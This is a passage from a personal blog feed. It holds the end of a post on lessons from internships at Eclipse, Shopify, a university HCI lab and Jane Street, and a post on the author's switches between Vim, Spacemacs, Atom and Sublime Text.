&lt;p&gt;My second job was an unpaid co-op job for credit in high-school where I would spend the second half of every school day working. I worked on fixing bugs in the Eclipse IDE off of the bug tracker.&lt;/p&gt;

&lt;!-- I found this place by noticing it within 500m of my house on Google Maps and cold-calling them. I needed a job that was easy to get to for a half-day and it so happened that the organization behind the Eclipse Java IDE was close by. It turned out that they don&apos;t employ anyone working on the IDE, but the person I phoned was a former programmer and agreed to supervise me. --&gt;

&lt;p&gt;What I learned is that &lt;em&gt;tooling matters a lot&lt;/em&gt;. It’s not that the Java tooling I was using allowed me to figure things out faster, it’s what allowed me to do things &lt;em&gt;at all&lt;/em&gt;. I could wade in with no experience to a multi-million line code base and fix &lt;a href=&quot;https://bugs.eclipse.org/bugs/show_bug.cgi?id=2369&quot;&gt;11-year old bugs&lt;/a&gt; because the Java and Eclipse tooling was &lt;em&gt;so good&lt;/em&gt;. The ability to view references and definitions with total accuracy and to follow things in an excellent debugger was key. An interesting Eclipse-specific feature was that every part of Eclipse was a plugin, so instead of spending hours compiling all of Eclipse, you could download the source for the relevant plugin, load it, then immediately press “Run” and it would start a new instance of Eclipse almost immediately that cloned your copy of Eclipse except for that one plugin. To this day it is the largest project I’ve worked on but it had a very fast feedback loop and short setup time, it was quite impressive.&lt;/p&gt;

&lt;p&gt;Almost all of Java’s faults as a language were made up for by tooling that was leagues better than any other popular language (excepting maybe C#). This job tempered my enthusiasm for how much more productive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$AWESOME_LANGUAGE&lt;/code&gt; is than languages like Java and C# despite better design and handy features.&lt;/p&gt;

&lt;h2 id=&quot;shopify&quot;&gt;Shopify&lt;/h2&gt;

&lt;p&gt;I worked at Shopify three times: twice during high school summers and once as my first Waterloo co-op job. As such, I learned a fair amount there, but the lessons were sometimes spread out, so I’ve grouped them together.&lt;/p&gt;

&lt;h3 id=&quot;transparent-and-involved-executives-are-fantastic&quot;&gt;Transparent and involved executives are fantastic&lt;/h3&gt;

&lt;p&gt;The CEO of Shopify, &lt;a href=&quot;http://www.theglobeandmail.com/report-on-business/rob-magazine/meet-our-ceo-of-the-year/article21734931/&quot;&gt;Tobi Lütke&lt;/a&gt;, is incredibly awesome. He started as the first developer, and he makes sure to stay afloat with the latest developments and will even weigh in on technical strategy if you tag him on Github. As an intern it was pretty awesome to sit down on a couch with the CEO and hack on &lt;a href=&quot;https://github.com/Shopify/liquid&quot;&gt;Liquid&lt;/a&gt; together. He’s also very transparent and makes sure everything about the company is too. For example, every couple weeks he does a frank AMA where he addresses questions submitted and voted on by employees and does a good job of giving detailed answers and not dodging.&lt;/p&gt;

&lt;p&gt;On other fridays, employees give lightning talks about what they are working on. This is where one story that really exemplifies the difference between a great CEO and a stereotypical one happened: I was giving a short talk about flaws in the &lt;a href=&quot;https://github.com/Shopify/liquid&quot;&gt;Liquid&lt;/a&gt; template parser and how it would accept almost anything without a syntax error, and &lt;a href=&quot;https://github.com/Shopify/liquid/pull/235&quot;&gt;my work in replacing it&lt;/a&gt;. My next term I learned that while watching my talk he’d joked to the person next to him  “that kid’s got courage”, which clued me in that at most other companies, trash talking code the CEO wrote that powered an important part of the product, in front of the entire company, would’ve been a “career limiting move” to put it lightly. I had talked to Tobi about the parser rewrite before the talk and he was in fact the first one to admit that the parser had issues, he had even bought a book on parsers hoping to fix it himself someday, so I knew I was safe giving the talk. Regardless, it still shows the benefits of having a great transparent CEO who does his best to rid the company of stifling corporate politics.&lt;/p&gt;

&lt;h3 id=&quot;good-managers-make-a-big-difference&quot;&gt;Good managers make a big difference&lt;/h3&gt;

&lt;p&gt;Up until my last internship at Shopify I’d had good team leads, supervisors and managers. I recognized that they were important but they didn’t really affect me or my work that much. This sounds like the lead up to a bad manager story, but actually the thing that changed my mind was having a &lt;em&gt;fantastic&lt;/em&gt; team lead/manager.&lt;/p&gt;

&lt;p&gt;He was dedicated, competent, funny, relentlessly positive, an excellent advocate for me and the rest of the team. He was also a developer but he spent most of his time being team lead, keeping everything on target, prioritizing, problem solving and making sure we were on target to ship on time.&lt;/p&gt;

&lt;p&gt;He had a moderate impact on my productivity: prioritizing, distributing tasks, answering questions and pair programming on difficult tasks. However, he had a tremendous impact on environment of being on the team and thus my enjoyment of the job. I learned that having a good manager helps things run smoothly, but having an excellent manager can make a good job &lt;em&gt;great&lt;/em&gt;. I hear that having a bad manager can make a good job terrible, but luckily I have yet to experience that (&lt;em&gt;crosses fingers&lt;/em&gt;).&lt;/p&gt;

&lt;h3 id=&quot;if-everything-else-is-done-right-the-task-doesnt-matter&quot;&gt;If everything else is done right, the task doesn’t matter&lt;/h3&gt;

&lt;p&gt;The importance of a good manager ties into my next point, which is that on that same team I was working on a CRUD web app, a stereotypically boring task. However, I really enjoyed that job, and through that I learned that when a company gets &lt;em&gt;everything else right&lt;/em&gt; it doesn’t matter very much what the actual task is.&lt;/p&gt;

&lt;p&gt;When I was working at Shopify the third time, my team was great, my manager was great, the culture was great, the office was great, the tools were great, the language was great, the food was great, the focus on quality was great, the technical decision-making was great. It didn’t matter that I was working on redesigning a web form.&lt;/p&gt;

&lt;p&gt;This isn’t to say the task doesn’t matter at all. If the task was actually an unpleasant one and not just a less exciting form of programming, I wouldn’t have enjoyed it nearly as much.&lt;/p&gt;

&lt;h2 id=&quot;the-university-of-waterloo-hci-lab&quot;&gt;The University of Waterloo HCI Lab&lt;/h2&gt;

&lt;p&gt;My next term, following my general strategy of trying out as many different jobs as possible, despite enjoying my previous job so much I tried out research. I worked on a system that fused eye tracking, head tracking and sound recognition to provide &lt;a href=&quot;https://github.com/trishume/PolyMouse&quot;&gt;a hands-free mouse alternative that I could use as quickly as I can a trackpad&lt;/a&gt;. I also worked on custom computer vision systems for eye tracking and marker tracking, as well as developing custom audio recognition algorithms. I basically got free reign to work on a side project I had as a job and do exactly the work I wanted and found interesting.&lt;/p&gt;

&lt;h3 id=&quot;further-learning-on-project-coolness&quot;&gt;Further learning on project coolness&lt;/h3&gt;

&lt;p&gt;This switch from working on CRUD web apps to a cool project that I had chose myself furthered my learning from the previous term. Despite working on my choice of the most interesting topic, although I definitely enjoyed the job, I didn’t enjoy it as much as my previous internship at Shopify.&lt;/p&gt;

&lt;p&gt;There were two components to this:&lt;/p&gt;

&lt;p&gt;First, the magnitude in difference of how interesting a project sounds doesn’t correspond to the magnitude of difference in how interesting working on a project is. Working on cool computer vision systems involves a lot of architecture, plumbing, refactoring and debugging. Most of these tasks are the same kind of tasks one does when working on a CRUD web app. Even when I was working on redesigning a web form there were times when I had to go sit away from the computer and think really hard with a notepad about architectural issues and how to design the system in a clean and robust way. Despite massive differences in how interesting they sounded, the computer vision system only involved moderately more interesting difficult problems and slightly less boring plumbing than the CRUD web app.&lt;/p&gt;

&lt;p&gt;Secondly, I found that even when I was working on the interesting challenging parts, I enjoyed and valued the challenge and learning, but not as much as I expected to value them before I started the job. The difference in fun was tangible but not as extreme as I had imagined.&lt;/p&gt;

&lt;p&gt;Previous to this term I had systematically overvalued the importance of the challenge and interestingness of the task. I also see this a lot when people I know choose jobs, they’ll sacrifice pay, company quality, location choice, team, culture, perks and pretty much everything else if it means they can work on something cool like compilers for machine learning on big data. I did exactly this as well for my research term.&lt;/p&gt;

&lt;p&gt;Interestingness of the work is still a significant positive factor when I’m choosing a job, it just no longer overrides all other considerations, it’s more of a factor I use to decide between two good options.&lt;/p&gt;

&lt;h3 id=&quot;teams&quot;&gt;Teams&lt;/h3&gt;

&lt;p&gt;One part of the difference between working in the lab and working at Shopify was that in the lab I was working alone on my own project. There were other people in the lab that I talked to occasionally but we didn’t really work together or even eat lunch together.&lt;/p&gt;

&lt;p&gt;I realized that great coworkers are an important part of why I enjoyed my previous jobs.&lt;/p&gt;

&lt;h2 id=&quot;jane-street&quot;&gt;Jane Street&lt;/h2&gt;

&lt;p&gt;For my next internship I worked at &lt;a href=&quot;https://www.janestreet.com&quot;&gt;Jane Street&lt;/a&gt; in London UK. I worked on developer tools, low-latency networking code, rendering huge tables and tree-diffing algorithms, all in OCaml. I had a great time, both with the interesting work and all the other parts of working there.&lt;/p&gt;

&lt;h3 id=&quot;interviewing&quot;&gt;Interviewing&lt;/h3&gt;

&lt;p&gt;The first thing that impressed me about Jane Street, because it was before I even started, was how good their interviewing system is. The questions seemed rather good at testing programming ability rather than algorithm knowledge or flashes of inspiration. They were about thinking hard, puzzling out all the cases and extracting a clean design. I was allowed to use a whiteboard, their laptop, or my own laptop, with any language I wanted. Each interview had two interviewers in the room, I assume for higher judgement reliability for the time spent. There were a reasonable number of interviews packed in to one day, and I got an offer a fairly short amount of time after I interviewed.&lt;/p&gt;

&lt;p&gt;Later I learned that they have a set of people who specialize in interviewing and do substantially more interviews because they like to and for greater consistency and skill specialization. Each question is well-specified and alpha and beta tested before being used for decision-making. Becoming the lead of the two interviewers for a specific question requires having shadowed someone else who knows it well.&lt;/p&gt;

&lt;p&gt;This interview process seems substantially better than any other process that I have heard of (with the possible exception of the Matasano process &lt;a href=&quot;https://news.ycombinator.com/user?id=tptacek&quot;&gt;tptacek on HN&lt;/a&gt; talks about, but I haven’t looked into that much). It addresses many of the common criticisms of tech company interviews like algorithm bingo, requiring flashes of inspiration, requiring coding on a whiteboard, poor question design, inexperienced interviewers and lack of inter-rater reliability. It seems like it would have a very low false positive rate, and a lower (though still significant) false negative rate than other interview processes I’ve seen.&lt;/p&gt;

&lt;h3 id=&quot;agency&quot;&gt;Agency&lt;/h3&gt;

&lt;p&gt;Another thing that impressed me is the level of agency afforded to employees. The management structure was extremely flat, and everyone’s job was basically either “Do what’s best for the company, probably coding” or “Do what’s best for the company, probably trading” with some people in between and a few “… with some managing” thrown in.&lt;/p&gt;

&lt;p&gt;For certain type of company, this seems to work excellently. Competent people know that for decisions with sufficiently high stakes it is a good idea to seek input from others, and expend effort to make the right decision proportional to the stakes. This means there’s little need for explicit policies, procedures and approval chains. That doesn’t mean the value they provide is absent, they just happen whenever they make sense for the task at hand, like ops checklists and working with other people to make big decisions correctly. I was surprised by the extent to which “Do what’s best” gets the benefits of standard corporate practices when helpful, but avoids the pitfalls. I still don’t believe this is broadly applicable though, it needs a certain type of company to work well.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;My model of what a good job and an effective company looks like have changed significantly since before I started working. Since starting at Waterloo I’ve even precommitted to not doing repeat internships, so as to maximize the variety of jobs, locations, and companies I experience. It’s tempting to return when I have a great time and a job is the best one I’ve ever had, but I remember that the only reason I took &lt;em&gt;that&lt;/em&gt; job was that I didn’t return to the &lt;em&gt;previous&lt;/em&gt; best job I ever had.&lt;/p&gt;

&lt;p&gt;I’m looking forward to further learning at 3 more internships before I graduate, including one in San Francisco at Google this summer. After I graduate, I’ll look hard at all the different jobs I’ve had and will have a good model with which to decide what I want to do next. This will likely be returning to my favourite past company, but I might also use this information to choose a brand new path I’m confident is better.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>My Text Editor Journey: Vim, Spacemacs, Atom and Sublime Text</title>
   <link href="https://thume.ca/2017/03/04/my-text-editor-journey-vim-spacemacs-atom-and-sublime-text/"/>
   <updated>2017-03-04T00:00:00+00:00</updated>
   <id>https://thume.ca/2017/03/04/my-text-editor-journey-vim-spacemacs-atom-and-sublime-text</id>
   <content type="html">
&lt;p&gt;I currently use a highly customized Sublime Text 3 as my text editor for
almost all programming. However, people are often surprised to learn that I’ve
used Vim for 6 months, Emacs/Spacemacs for 10 months (including much elisp
hacking) and Atom for a month, yet I still prefer Sublime.&lt;/p&gt;

&lt;p&gt;This post explains my journey between text editors, what I learned, what I
like and dislike about each of them, and why in the end I’ve chosen Sublime
(for now). Most detailed is &lt;a href=&quot;#spacemacs&quot;&gt;my reasoning for abandoning Spacemacs&lt;/a&gt;, despite
being a top contributor and power user, although many of
my criticisms of Vim also apply to Spacemacs (and vice versa).&lt;/p&gt;

&lt;h2 id=&quot;the-early-days-textmate--sublime-text-2&quot;&gt;The Early Days: Textmate &amp;amp; Sublime Text 2&lt;/h2&gt;

&lt;p&gt;My text editor when I first learned programming was Textmate, and I stuck with
it for a few years (I forget how many) before I at some point switched to
Sublime Text 2’s trial, and then paid for a license.&lt;/p&gt;

&lt;p&gt;Back then I only used the basics: syntax highlighting, find/replace,
autocomplete, file tree… I didn’t know any keyboard shortcuts besides
standard OS ones like copy-paste and undo. I used the mouse for all selection
and eventually learned the Sublime command pallete and “open file in project”
pallete.&lt;/p&gt;

&lt;p&gt;This setup didn’t cause me any trouble, I was productive and nothing was
painful. But, I heard tell of the true power one gained upon learning to use a
&lt;em&gt;real&lt;/em&gt; editor like Vim or Emacs. I watched screencasts where Vim masters would
perform impressive editing operations in a couple keystrokes.&lt;/p&gt;

&lt;h2 id=&quot;vim-a-taste-of-power&quot;&gt;Vim: A Taste of Power&lt;/h2&gt;

&lt;p&gt;In late 2012 I switched to Vim. I learned the keyboard shortcuts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vimtutor&lt;/code&gt;
and printed cheat sheets. I read tons of blog articles (often conflicting) on
learning and using Vim the right way.&lt;/p&gt;

&lt;p&gt;I tried using a blank &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.vimrc&lt;/code&gt; and building pieces from scratch making sure I
understood what each piece did each time. However, this was taking far too
long, my editor was missing key functionality from Sublime and Textmate like a
file tree, good autocomplete, open in project, and support for languages I
used. It was also ugly.&lt;/p&gt;

&lt;p&gt;So I started using the &lt;a href=&quot;https://github.com/spf13/spf13-vim&quot;&gt;spf13&lt;/a&gt; Vim
distribution. It was nice, and had most of the features I wanted. You can
still find my modified spf13-based vimrc &lt;a href=&quot;https://github.com/trishume/dotfiles/tree/master/vim%2B&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/editors/vim.png&quot; alt=&quot;Vim&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I was reasonably happy with this setup and continued using it for over 6 months.&lt;/p&gt;

&lt;p&gt;However, there were many pain points. One of these was that things often
didn’t work. For example, my tab key was bound to tons of different things
like autocomplete, snippet expansion, indentation, moving between snippet
fields and inserting the literal tab character. Many of those overrode each
other in different contexts, but very often it chose the wrong one. I ended up
fixing this somewhat but not completely, but I didn’t have this issue in
Sublime because everything was designed to work together so the tab key just
always did what I wanted. Even after I fixed it, the hours I spent
diagnosing the issue, figuring out how to resolve the conflicts, implementing
it, then re-learning my muscle memory probably erased weeks of sub-
second Vim speed gains.&lt;/p&gt;

&lt;p&gt;Another issue I had was that Vim was mouse-hostile. I was fully aware that the
Vim philosophy is to just never use the mouse. However, even with plugins like
&lt;a href=&quot;https://github.com/easymotion/vim-easymotion&quot;&gt;EasyMotion&lt;/a&gt; and ideal vim
shortcut use the keyboard is slower for some selection tasks like selecting a
range of text far from the cursor than the mouse is. Often using Vim shortcuts
felt faster because my brain was engaged figuring out the optimal combination
of motions and looking for EasyMotion hints, but whenever I timed myself I was
consistently much slower than I was with the mouse. I’m only talking about
long range selection and cursor movement here, I totally concede that keyboard
shortcuts are better for short range movement and selection. Vim wasn’t that
bad for the mouse, but lots of plugins didn’t really work well with it and
mouse selection often worked weirdly in some states.&lt;/p&gt;

&lt;h2 id=&quot;back-to-sublime-with-a-stint-in-atom&quot;&gt;Back to Sublime (with a stint in Atom)&lt;/h2&gt;

&lt;p&gt;I realized that I didn’t like fighting my editor and loved the ease of use and
mouse support of Sublime. However, I also loved the power of Vim’s keyboard
model. Luckily, I could use &lt;a href=&quot;https://github.com/guillermooo/Vintageous&quot;&gt;Vintageous&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This way I could get all the power I liked about Vim with all the niceties of
Sublime.&lt;/p&gt;

&lt;p&gt;In fact, Vintageous is arguably more powerful than Vim itself because it works
with multiple cursors. Using multiple cursors with Vim bindings is incredible,
it’s basically the same power as Vim macros give you, except you can compose
them on the fly with instant feedback about what commands did at each place
you wanted to use them (see gif below). I found I rarely used macros with Vim because I had to
think hard about which commands I could use that would work on every instance
and make sure I didn’t screw anything up, then figure out how I wanted to run
the macro for each location, but with Sublime it was so easy I did it all the
time. Yes, I know both Vim and Emacs have multiple cursor plugins, but they are
hacks and don’t seamlessly work with all commands and together with the mouse.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/editors/sublime_vim.gif&quot; alt=&quot;Sublime Vim&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I started using Sublime as a power user’s text editor just like I had used Vim.
I learned the keyboard shortcuts, read about the functionality and installed plugins.&lt;/p&gt;

&lt;p&gt;For a month I also tried out Atom. I pretty much replicated my Sublime Text
setup with the equivalent Atom plugins, plus some extras that only Atom offered.
However, I preferred Sublime’s speed. It wasn’t just that some editing operations
had a bit of latency, but that Sublime could offer features that Atom couldn’t
because of its speed. For example Sublime’s “open in project” panel instantly
previews the files as you type because it can load files in milliseconds, and search
is incremental by default.&lt;/p&gt;

&lt;p&gt;I used this setup quite happily from mid-2013 to late-2014. However, I started
thinking about the possibility of using Emacs with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evil-mode&lt;/code&gt;. I’d heard its
Vim emulation was fantastic and the possibility of using Emacs lisp to craft
the perfect text editing experience given time was enticing.&lt;/p&gt;

&lt;p&gt;I started looking around at various Emacs starter kits like &lt;a href=&quot;https://github.com/bbatsov/prelude&quot;&gt;Prelude&lt;/a&gt;
and tried out a few. I read Emacs articles, documentation and blog posts
about people’s Emacs configs. However, everything had really horrible convoluted
hard to remember keyboard shortcuts that didn’t fit well with Vim’s.&lt;/p&gt;

&lt;h2 id=&quot;spacemacs&quot;&gt;Spacemacs&lt;/h2&gt;

&lt;p&gt;&lt;a name=&quot;spacemacs&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then, I found Spacemacs. It was exactly what I was looking for. It was pretty,
integrated Vim and Emacs functionality in an interesting and discoverable way,
and promised to have everything set up to work out of the box. Somehow this
project only had around 12 stars on Github and no other contributors. It
seemed the creator had poured tons of effort into making a fantastic project,
but unlike most people’s dotfiles, he put effort and thought into making it
adaptable to individual needs and documenting how to do so. I was stunned that
this project only had ~20 stars and no other contributors.&lt;/p&gt;

&lt;p&gt;So I downloaded it, started working on my own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.spacemacs&lt;/code&gt; file and joined the
Gitter chat the creator had set up. A little while later I submitted the &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/pull/19&quot;&gt;first
contribution&lt;/a&gt; to the project.&lt;/p&gt;

&lt;p&gt;Little did I know at that point that the reason it only had 20 stars was that
by chance and lots of Googling I had just stumbled upon it earlier than
everyone else. Over the coming weeks I continued tweaking and sending PRs and
other early adopters like &lt;a href=&quot;https://github.com/cestdiego&quot;&gt;Diego&lt;/a&gt; trickled in to
the chat and started contributing.&lt;/p&gt;

&lt;p&gt;As I used Spacemacs I often noticed things that worked poorly or not at all.
I kept steadily fixing most problems I found and adding new contribution layers
for the things I wanted. When I was using Spacemacs for something where I had
already fixed most of the bugs, it was quite nice and felt efficient.&lt;/p&gt;

&lt;p&gt;I continued using Spacemacs for around 6 months and maintained my position
as top contributor for most of that time. I helped newbies out in the Gitter
chat, triaged PRs and contributed and maintained a few different layers.&lt;/p&gt;

&lt;p&gt;I thouroughly enjoyed contributing to Spacemacs, but nearly everything I
contributed was fixing a bug or annoyance I encountered while trying to get
something done, often writing the elisp to fix an earlier problem.&lt;/p&gt;

&lt;h3 id=&quot;brokenness&quot;&gt;Brokenness&lt;/h3&gt;

&lt;p&gt;These yak-shaving tasks ranged from &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/pull/174&quot;&gt;fixing annoying keybinding conflicts&lt;/a&gt; that Sublime Text had built-in logic for,
to &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/pull/58/files&quot;&gt;getting LaTeX support to work&lt;/a&gt;. I even &lt;a href=&quot;https://github.com/Hammerspoon/hammerspoon/pull/300&quot;&gt;wrote a general mechanism for tabbing OSX windows&lt;/a&gt; to get around how bad all the Emacs tab/workspace plugins were.
I definitely &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/pull/76&quot;&gt;noticed my annoyance&lt;/a&gt;
but I ignored it since I was having fun and I had hope that things would get better after more work.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/editors/spacemacs.png&quot; alt=&quot;Spacemacs Tabs&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However, after six months of making almost no progress on other projects while
discovering and fixing bugs and implementing things I missed from other
editors, I realized that there might not be an end. Part of the problem is
that I love learning new languages and doing different kinds of projects. Other
Spacemacs users might make a few fixes here and there for their primary use case,
whereas I was stuck adding support for &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/pull/1415&quot;&gt;D&lt;/a&gt;,
&lt;a href=&quot;https://github.com/syl20bnr/spacemacs/pull/937&quot;&gt;Racket, Nim and Rust&lt;/a&gt; and then
fixing the bugs I exposed when changing my workflow.&lt;/p&gt;

&lt;p&gt;I think the underlying reason is that everything in Emacs, and especially
Spacemacs, is a hack. Core Emacs offers almost nothing and everything is
layered on top as ad-hoc Emacs Lisp additions. Different third-party plugins
and to some extent base functionality step on each others toes and make
conflicting assumptions all the time. One particularly bad example I ran into
is my Emacs hanging mysteriously when autocompleting on some two character
suffixes. After much searching it turned out to be a &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/issues/2654&quot;&gt;known issue&lt;/a&gt; where if what I was
completing looked like a domain name Emacs would try to ping it because of an
interaction between autocompletion, file finding, and remote server support.&lt;/p&gt;

&lt;h3 id=&quot;lack-of-consistency-and-discoverability&quot;&gt;Lack of Consistency and Discoverability&lt;/h3&gt;

&lt;p&gt;Another problem with this pile-of-hacks design is that nothing was consistent
or discoverable. Every moment I saved on common operations due to efficient
keyboard shortcuts was cancelled out by a minute spent searching for how to do
a less common operation that I didn’t do often enough to memorize.&lt;/p&gt;

&lt;p&gt;An example of an occasional workflow I can do in Sublime is:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Paste my clipboard into the search box.&lt;/li&gt;
  &lt;li&gt;Search all files in a project for without regex support (useful when searching for a string with special
characters that you don’t want to escape), case insensitively.&lt;/li&gt;
  &lt;li&gt;Narrow it down to a glob of certain files without re-typing my query.&lt;/li&gt;
  &lt;li&gt;Edit my query slightly to refine the results, again without re-typing it.&lt;/li&gt;
  &lt;li&gt;Replace the content of all those occurences once satisfied.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I tried to do this in Emacs once, and had to spend a ton of Googling and investigating &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M-x&lt;/code&gt; listings:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Look up how to search in project without regex (I’ve never figured out a way to do this)&lt;/li&gt;
  &lt;li&gt;Look up the shortcut for pasting into the minibuffer (I use Evil so I can’t use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p&lt;/code&gt; like usual).&lt;/li&gt;
  &lt;li&gt;Hope that the command is Helm-based so I can edit my query, otherwise re-type everything to narrow it down.&lt;/li&gt;
  &lt;li&gt;Look up how to replace in project without regex, oops it’s an entirely different command from searching.&lt;/li&gt;
  &lt;li&gt;Re-enter everything into the new command and run it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/editors/sublime_find.png&quot; alt=&quot;Sublime&apos;s fancy find dialog&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;navigating-multiple-files&quot;&gt;Navigating Multiple Files&lt;/h3&gt;

&lt;p&gt;The last major problem I had was how difficult it was to work with code spread
across multiple files compared to Sublime Text.&lt;/p&gt;

&lt;p&gt;There’s three main ways for working with files in Emacs: buffers, files and windows.&lt;/p&gt;

&lt;p&gt;I tried using buffers but the problem is that buffer switching is slow and
difficult. It only takes one keystroke to switch to the most recently opened
other buffer, if you remember which that is, but switching to other buffers
requires waiting for a list to show, reading it, then multiple additional keys to select the right one.
Buffers also tend to proliferate like mad and these lists end up enormous taking many keys to filter to the right one.
They are also nearly impossible to navigate with the mouse if I’m reading code and that’s where my hand is.&lt;/p&gt;

&lt;p&gt;Navigating using normal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find-file&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;helm&lt;/code&gt; mechanics has a similar problem:
switching is just slow. It takes a lot of key strokes, and those strokes sometimes
involve waiting for a list to appear that you can read.&lt;/p&gt;

&lt;p&gt;Having your frame/screen split into a bunch of windows (Emacs reverses the
meaning of window and frame from every other editor) in Spacemacs has the
advantage that each window has a number on it and you can hit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SPC+1&lt;/code&gt; to
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SPC+9&lt;/code&gt; to switch directly to them. This is great in that it is very fast and
easy to remember, find and see where you want to go and how to get there. The
problem is that you sacrifice screen real estate for every new file you work
with. I normally ameliorate this with &lt;a href=&quot;https://github.com/roman/golden-ratio.el&quot;&gt;golden-ratio&lt;/a&gt;
mode, which shrinks unfocused windows, but they still take up space.&lt;/p&gt;

&lt;p&gt;With Sublime Text I use tabs, which are amazing. I can switch quickly and directly
between files with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd+1&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd+9&lt;/code&gt;, see all the files I’m working with at a glance,
and navigate with the mouse if I want to. I can also easily rearrange tabs so that the
most frequently used and important files are on lower consistent numbers that I can &lt;a href=&quot;https://en.wikipedia.org/wiki/Subitizing&quot;&gt;subitize&lt;/a&gt;.
I can even use &lt;a href=&quot;https://packagecontrol.io/packages/Zen%20Tabs&quot;&gt;ZenTabs&lt;/a&gt; to ensure that I only
ever have my 9 most recently used files open in tabs, eliminating buffer proliferation.
Infrequent but useful actions like moving a file between windows and panes, and copying the file
path are all obvious discoverable mouse actions. The file I’m working on always fills the full screen,
unless I want to reference other code in another pane. When the file I want isn’t a tab
I can open it with “Goto Anything”, which is similar in speed to narrowing to a buffer by name.
When I want to navigate based on a project’s directory structure I have access to a fantastic
file tree.&lt;/p&gt;

&lt;p&gt;Yes, Emacs has plugins to add tabs but they are hacks. They’re ugly, slow, break when used
with other plugins, don’t have good keyboard shortcuts, and display tons of useless buffers I don’t care about.&lt;/p&gt;

&lt;p&gt;When I watch friends and coworkers use Vim and Emacs this is the thing I
notice most. They look super efficient since they’re furiously typing things
or navigating directories, but often the file they are opening is one that
they looked at just a minute ago and would have taken me a single keystroke to
switch to. They however have to type a bunch of characters to narrow to the
buffer name. I even frequently see Vim/Emacs users opening files by
navigating directories when I would have just typed a few characters into
“Goto Anything”. Emacs and Vim also have ways to fuzzy search for a file in a
project, but the heuristics and tools are often so bad and slow that they give
up and fall back on manually finding the file. I’ve never seen a Vim or Emacs
users who navigates between files as fast as I do in Sublime.&lt;/p&gt;

&lt;h3 id=&quot;realization&quot;&gt;Realization&lt;/h3&gt;

&lt;p&gt;I realized that despite all my work and the work of other contributors using
Emacs was still a pain and I longed for the just-works nature of Sublime Text.
It didn’t help that many operations in Spacemacs had surprisingly high latency
(similar to Atom) and many things were ugly (like the file tree). I said my goodbyes
to the Spacemacs community and headed back to Sublime Text.&lt;/p&gt;

&lt;p&gt;I still think Spacemacs is overall quite good though. If you’re someone who
mainly codes in one language, especially a popular one, then you can get
Spacemacs set up to do exactly what you want, and the huge community nowadays
means that either the bugs will have been fixed or you can easily get help
with the ones you encounter. I’ve listed a bunch of disadvantages, but Emacs
has powerful features that Sublime doesn’t, I just didn’t like what I had to
give up to get them.&lt;/p&gt;

&lt;h2 id=&quot;sublime-text-3-back-with-vengeance&quot;&gt;Sublime Text 3: Back With Vengeance&lt;/h2&gt;

&lt;p&gt;So I switched back to Sublime Text 3, but just like after Vim, I took some of the
things I enjoyed back with me. I updated my plugin and keybinding arsenal to include
many of the handy things I used in Spacemacs.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/editors/sublime.png&quot; alt=&quot;Sublime Text 3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;One thing I really enjoyed in Emacs was &lt;a href=&quot;https://magit.vc&quot;&gt;Magit&lt;/a&gt;, so I installed
&lt;a href=&quot;https://github.com/divmain/GitSavvy&quot;&gt;GitSavvy&lt;/a&gt; in Sublime and found it had almost
everything I liked about Magit. I even like its workflow marginally better and the
Github integration is top notch.&lt;/p&gt;

&lt;p&gt;I set up the &lt;a href=&quot;https://github.com/deanishe/alfred-repos&quot;&gt;Alfred Git Repos&lt;/a&gt; workflow
to replicate opening projects with Projectile, and used my &lt;a href=&quot;https://github.com/Hammerspoon/hammerspoon/pull/300&quot;&gt;OSX window tabbing plugin&lt;/a&gt;
to manage my Sublime Windows as well.&lt;/p&gt;

&lt;p&gt;The fanciest thing I did was create &lt;a href=&quot;https://github.com/trishume/SublimeTect&quot;&gt;my own set of keybindings&lt;/a&gt;
that work like Vim except with the palm keys of &lt;a href=&quot;/2014/09/08/creating-a-keyboard-1-hardware/&quot;&gt;my custom keyboard&lt;/a&gt;
as the mode. That way it is faster to quickly do movement and editing actions in
the middle of writing. It also synergizes way better with the mouse because
I never am in an unexpected mode when I use it and then move back to the keyboard
since they physical state of my hands is the state of the editor. I still drop into
Vintageous mode for fancier editing though.&lt;/p&gt;

&lt;p&gt;And all this took me only a few evenings to get to a point where I was happier
with it than the Spacemacs setup that had taken me six months. I’ve been using
this setup happily since mid-2015 with only a couple bugs which were quickly
fixed, despite using the dev builds of ST3 and many plugins it’s been orders
of magnitude more reliable than Emacs.&lt;/p&gt;

